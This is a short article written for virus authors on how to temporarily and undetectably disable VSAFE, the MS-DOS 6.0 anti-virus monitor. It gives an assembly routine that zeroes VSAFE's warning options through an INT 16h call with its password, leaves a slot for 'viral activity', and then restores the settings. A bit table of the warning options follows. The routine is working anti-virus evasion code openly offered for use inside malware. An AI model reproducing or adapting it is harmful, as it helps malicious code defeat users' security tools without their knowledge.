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A new, completely transparent method of deactivating/reactivating VSAFE

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After just a few minutes of analysis several months ago, I discovered a way to bypass VSAFE which is far less detectable than the usual deinstallation. The total removal of VSAFE by a virus would arouse suspicion and would be incredibly obvious if some other TSR had been installed after VSAFE, since VSAFE displays an alert box in such a case warning that VSAFE cannot be removed.

The new method involves changing, temporarily, the control byte used by VSAFE to determine the warning options selected by the user. Not only is this warning option control byte trivial to reset, but VSAFE actually RETURNS THE PREVIOUS WARNING OPTION BYTE to the calling routine, allowing the warning options to be reset to their original values after a virus has done its dirty deed! This temporary deactivation of VSAFE would be totally undetectable by the computer user. A virus could simply deactivate all or a selected number of VSAFE's warning options, do anything that it wants, then restore VSAFE to its original state.

The simple routine listed below has been tested on the MS-DOS 6.0 version of VSAFE only. However, it is likely that it will work on all other versions of VSAFE, also.

Here's the code:

mov ax,0fa02		;reset VSAFE (fa) warning options (02)
push ax			;store value for future use
mov bl,0		;warning options = none (see below)
mov dx,05945		;password
push dx			;store value for future use
int 016			;do it
push cx			;store previous settings returned by VSAFE
;--------------
;viral activity
;--------------
pop cx
pop dx
pop ax
mov bl,cl		;move previous warning option settings back
int 016			;restore previous warning settings

The warning control byte (sent in bl, returned in cl) is set up as follows:

Bit Value
0 HD low level format 1 = select option
1 Residence attempt 0 = deselect option
2 General write protect
3 Check executable files
4 Boot sector virus
5 Protect HD boot sector
6 Protect FD boot sector
7 Protect executable files
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